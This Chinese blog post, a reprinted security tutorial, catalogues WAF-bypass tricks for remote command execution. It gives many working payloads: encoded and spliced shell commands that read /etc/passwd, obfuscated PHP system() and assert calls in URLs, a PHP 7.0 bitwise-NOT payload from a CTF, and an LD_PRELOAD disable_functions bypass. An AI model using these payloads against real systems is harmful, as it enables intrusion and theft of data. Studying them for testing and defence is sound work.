专栏首页渗透云笔记RCE的Bypass与骚姿势总结

RCE的Bypass与骚姿势总结

本文原作者;小仙人

Bypass篇

前言:关于RCE的Bypass,我们应该从哪些角度开展呢。要知道怎么绕过,我们就得知道防火墙的过滤规则才行。那我们想想,在利用RCE漏洞的时候,我们当然想用cat、chmod、whoami、ifconfig、ls等这些操作对不对!像这些敏感命令,防火墙就会进行过滤。还有特殊字符如单引、双引、空格等等,防火墙同样会进行过滤。那我们现在知道那该死的防火墙不让我们输入那些敏感字符了,我们就要想办法找一些可以代替这些敏感字符且又能表达其字符的意思的东西对吧?所以我们进入主题!

常见绕过方法

空格绕过:在bash下可以用$IFS、${IFS}、$IFS$9、%09(在URL上使用较多)、<、>、<>、{,}、%20(space)、%09(tab)

(备注:此处有$IFS$9,而这里为什么用$9呢,是因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。$IFS在Linux下表示分隔符。)

分号绕过:在bash下可以用%0a

(声明其中的一个做法{cat,1.txt},这里尖括号的用法是括起来再用逗号,要注意。)

敏感字符绕过:例如cat、chmod

1) 利用变量绕过

[root@iz2zebsl4jvqeiddcl4y2cz ~]# a=c;b=a;c=t;

[root@iz2zebsl4jvqeiddcl4y2cz ~]# $a$b$c 1.txt

2) 利用base编码绕过

[root@iz2zebsl4jvqeiddcl4y2cz ~]# echo 'cat' | base64

Y2F0wqAK

[root@iz2zebsl4jvqeiddcl4y2cz ~]# `echo 'Y2F0wqAK' | base64 -d` 1.txt

hello world

[root@iz2zebsl4jvqeiddcl4y2cz ~]# echo 'Y2F0IC9ldGMvcGFzc3dk' | base64 -d | bash// cat /etc/passwd 查看所有用户信息

3) 利用hex编码(十六进制)绕过

[root@iz2zebsl4jvqeiddcl4y2cz ~]# echo "636174202F6574632F706173737764" | xxd -r -p|bash// hex编码后的0x不需要输入。

4) 利用oct编码(八进制)绕过

[root@iz2zebsl4jvqeiddcl4y2cz ~]# $(printf "\154\163")//ls命令(这个154和163的值,本人暂时不知道是如何转换的)

5) 利用拼接绕过

[root@iz2zebsl4jvqeiddcl4y2cz ~]# c''a''t 1.txt//单引

[root@iz2zebsl4jvqeiddcl4y2cz ~]# c""a""t 1.txt//双引

[root@iz2zebsl4jvqeiddcl4y2cz ~]# c``a``t 1.txt//反单引

[root@iz2zebsl4jvqeiddcl4y2cz ~]# c\a\t 1.txt//反斜线

6) 利用未初始化变量

[root@iz2zebsl4jvqeiddcl4y2cz ~]# cat$u 1.txt

过滤文件名绕过(例如过滤/etc/passwd文件)

1) 利用正则匹配绕过

[root@iz2zebsl4jvqeiddcl4y2cz ~]# cat /???/pass*

2) 例如过滤/etc/passwd中的etc,利用未初始化变量,使用$u绕过

[root@iz2zebsl4jvqeiddcl4y2cz ~]# cat /etc$u/passwd

备注:此方法能绕CloudFlare WAF(出自:https://www.secjuice.com/php-rce-bypass-filters-sanitization-waf/

命令执行函数system()绕过(在URL请求中过滤system()函数)

1) "\x73\x79\x73\x74\x65\x6d"("cat /etc/passwd");

1) (sy.(st).em)(whoami);

1) ?a=system&b=cat+/etc&c=/passwd&code=$_GET[a]($_GET[b].$_GET[c]);

1) 插入注释(这对于绕过阻止特定PHP函数名称的WAF规则集很有用)

php -r "system/*caixukun*/(whoami);"

php -r "system/*caixukun*/(wh./*caixukun*/(oa)/*caixukun*/.mi);"

php -r "(sy./*caixukun*/(st)/*caixukun*/.em)/*caixukun*/(wh./*caixukun*/(oa)/*caixukun*/.mi);"

骚姿势绕过总结

1) 在Linux bash下可以使用{OS_COMMAND,ARGUMENT}来执行系统命令

2) 当过滤了大小写字母、数字、$符号的时候,可以利用通配符绕过

https://www.freebuf.com/articles/web/186298.html -- 前辈这篇文章写得很好,姿势可以参考。

https://www.freebuf.com/articles/web/160175.html

3) 当遇到addslashes()过滤了单引、双引、反斜杠、NULL这些预定义字符,利用PHP复杂变量绕过。

http://www.test.com/test.php?str=${${assert($_GET[x])}}&x=phpinfo()

http://www.test.com/test.php?str=${${assert($_POST[guixianren])}}

4) 当正则匹配if(preg("/[A-Za-z0-9_`'"^?<>${}]+/",$code))过滤特殊符号而且大小写字母和数字都过滤的时候,又怎么进行绕过呢?这是前辈给的EXP:

?code=(~%9E%8C%8C%9A%8D%8B)((~%91%9A%87%8B)((~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C)()));

利用的前提条件是PHP版本刚好为7.0,只能刚好是7.0版本,大于小于这个EXP都会失效。这是一道CTF的题目,这是出自evoa师傅的思路,这里分享给大家。

https://www.evoa.me/index.php/archives/62/

5) 当只过滤大小写字母和数字的时候且又限制了长度,该怎么绕过。同样是CTF的题。

这是前辈写的https://imagin.vip/?p=508

真可谓收益匪浅,学习就是先走一遍别人的老路,到达一定知识量的时候,自己走自己的路。

1) Bypass disable function(绕过禁用函数),情景是当遇到很全面的禁用函数列表时,我们又应当怎么绕过。原理是通过LD_PRELOAD绕过disable_functions这里推荐一个各种方式突破Disable_functions达到命令执行的Shell。工具可以到"安全武器库"上拿。

参考资料

关于OWASP ModSecurity核心规则集(CRS)项目:

https://github.com/SpiderLabs/owasp-modsecurity-crs/

RCE Bypass远程命令执行绕过技巧:

http://www.leommxj.com/2017/06/11/RCE-Bypass/

关于Apache Tomcat多版本远程代码执行漏洞CVE-2016-8735

https://www.anquanke.com/post/id/85043

本文分享自微信公众号 - 渗透云笔记(shentouyun),作者:天钧

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2020-03-13

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • SQL注入之骚姿势小记

    写在前面 小记一下CTF那些日子和DROPS队友学到的SQL注入的骚姿势。 By 010 1、IN之骚 这个我也偶然发现的,也不知前辈们有没有早已总结好的套路了...

    FB客服
  • Powershell免杀从入门到实践

    在之前发布的一篇 渗透技巧之Powershell实战思路中,学习了powershell在对抗Anti-Virus的方便和强大。团队免杀系列又有了远控免杀从入门到...

    FB客服
  • 【原创】确定不看吗?基础篇--文件包含Bypass漏洞总结

    本篇文章为星球团队成员原创文章,已申请原创权限,如其他公众号有需要转文,请联系信安旅程运营人员。

    7089bAt@PowerLi
  • Apache中.htaccess文件利用的总结与新思路拓展

    第一种是最通用最常见的Module方式,即在httpd.conf中使用LoadModule的方式,将php的dll或者so文件加载到apache当中。

    FB客服
  • 干货 | 各种WAF绕过手法学习

    https://github.com/danielmiessler/SecLists/tree/master/Fuzzing

    7089bAt@PowerLi
  • Bypass 护卫神SQL注入防御(多姿势)

       护卫神一直专注服务器安全领域, 其中有一款产品,护卫神·入侵防护系统 ,提供了一些网站安全防护的功能,在IIS加固模块中有一个SQL防注入功能。

    Bypass
  • OffenSive Csharp Development Part5 && 星球来袭

    本文是OffenSive Csharp Development的第五篇文章,主要讲解如何使用C#进行AMSI bypass。

    鸿鹄实验室
  • Bypass 360主机卫士SQL注入防御(多姿势)

    在服务器客户端领域,曾经出现过一款360主机卫士,目前已停止更新和维护,官网都打不开了,但服务器中依然经常可以看到它的身影。从半年前的测试虚拟机里面,翻出了36...

    Bypass
  • 域渗透不用进程窃取如何横向 Bypass Psexec AV 拿到域控?

    大家好,这里是 渗透攻击红队 的第 63 篇文章,本公众号会记录一些红队攻击的案例,不定时更新

    渗透攻击红队
  • Bypass 360主机卫士SQL注入防御(多姿势)

    在服务器客户端领域,曾经出现过一款 360 主机卫士,目前已停止更新和维护,官网都打不开了,但服务器中依然经常可以看到它的身影。

    信安之路
  • Bypass ngx_lua_waf SQL 注入防御(多姿势)

    ngx_lua_waf 是一款基于 ngx_lua 的 web 应用防火墙,使用简单,高性能、轻量级。默认防御规则在 wafconf 目录中,摘录几条核心的 S...

    信安之路
  • Bypass ngx_lua_waf SQL注入防御(多姿势)

    ngx_lua_waf是一款基于ngx_lua的web应用防火墙,使用简单,高性能、轻量级。默认防御规则在wafconf目录中,摘录几条核心的SQL注入防御规...

    Bypass
  • 文件包含漏洞与文件包含Bypass漏洞基础

    服务器通过PHP的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到攻击的目的。

    天钧
  • 非传统 WAF/IDS 规避技术指南

    原文总结的一些姿势在实际挖洞的时候还比较管用,原文地址https://blog.0xffff.info/2021/07/24/a-guide-to-non-co...

    用户2202688
  • 低成本玩转硬件安全(一) | BadUSB on Arduino

    引言 鉴于硬件安全对于大多数新人是较少接触的,而这方面又非常吸引我,但是部分专业安全研究设备较高的价格使人望而却步。在该系列中,笔者希望对此感兴趣的读者在花费较...

    FB客服
  • 我的wafBypass之道

    去年到现在就一直有人希望我出一篇关于waf绕过的文章,我觉得这种老生常谈的话题也没什么可写的。

    用户1467662
  • 文件上传Bypass安全狗

    我们知道WAF分为软WAF,如某狗,某盾等等;云WAF,如阿里云CDN,百度云CDN等等;硬WAF,如天融信,安恒等等,无论是软WAF、云WAF还是硬WAF,总...

    HACK学习
  • 申请CVE的姿势总结

    CVE的全称叫做“Common Vulnerabilities & Exposures”中文含义是公共漏洞和暴露。它作为披露漏洞的平台,受到国内外关注。CVE会...

    FB客服
  • Bypass D盾_防火墙(新版)SQL注入防御

    『D盾_防火墙』专为IIS设计的一个主动防御的保护软件,以内外保护的方式防止网站和服务器给入侵。新版的D盾_防火墙,支持系统:win2003/win20...

    Bypass

扫码关注云+社区

领取腾讯云代金券